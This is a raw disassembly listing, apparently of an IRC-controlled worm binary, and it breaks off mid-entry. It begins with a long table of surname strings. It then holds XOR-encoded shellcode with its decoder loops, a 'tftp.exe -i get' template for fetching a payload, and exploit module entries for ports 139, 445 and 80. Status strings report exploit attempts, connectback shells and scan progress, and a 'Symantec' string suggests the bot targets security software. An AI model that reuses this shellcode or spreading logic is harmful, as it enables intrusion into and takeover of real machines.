XREF: ___:0042DA20o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA18o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA08o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o ; ___:0042D9A8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co aColella db 'Colella',0 ; DATA XREF: ___:0042D998o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co aClow db 'Clow',0 ; DATA XREF: ___:0042D988o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o aClement db 'Clement',0 ; DATA XREF: ___:0042D980o aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D964o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D934o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D900o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o ; ___:0042D85Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D794o aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o aBean db 'Bean',0 ; DATA XREF: ___:0042D730o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D684o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o align 10h byte_431250 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431298 ; --------------------------------------------------------------------------- loc_431296: ; CODE XREF: ___:loc_431298p jmp short loc_43129D ; --------------------------------------------------------------------------- loc_431298: ; CODE XREF: ___:00431294j call loc_431296 loc_43129D: ; CODE XREF: ___:loc_431296j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312A4: ; CODE XREF: ___:004312A9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312A4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312BA: ; CODE XREF: ___:004312BFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312BA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43135C jnz short loc_431348 retn ; --------------------------------------------------------------------------- loc_431348: ; CODE XREF: ___:00431345j ; ___:00431355j call near ptr loc_43134D+1 loc_43134D: ; CODE XREF: ___:loc_431348p add [edx+0], ch call sub_43135C jz loc_431348 retn ; =============== S U B R O U T I N E ======================================= sub_43135C proc near ; CODE XREF: ___:00431340p ; ___:00431350p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43135C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431616 ; =============== S U B R O U T I N E ======================================= sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43160E: ; CODE XREF: sub_431606+Cj xor byte ptr [edx+ecx], 99h loop loc_43160E jmp short loc_43161B ; --------------------------------------------------------------------------- loc_431616: ; CODE XREF: ___:00431604j call sub_431606 loc_43161B: ; CODE XREF: sub_431606+Ej jo short near ptr dword_4315A4+12h cwde cdq cdq retn sub_431606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 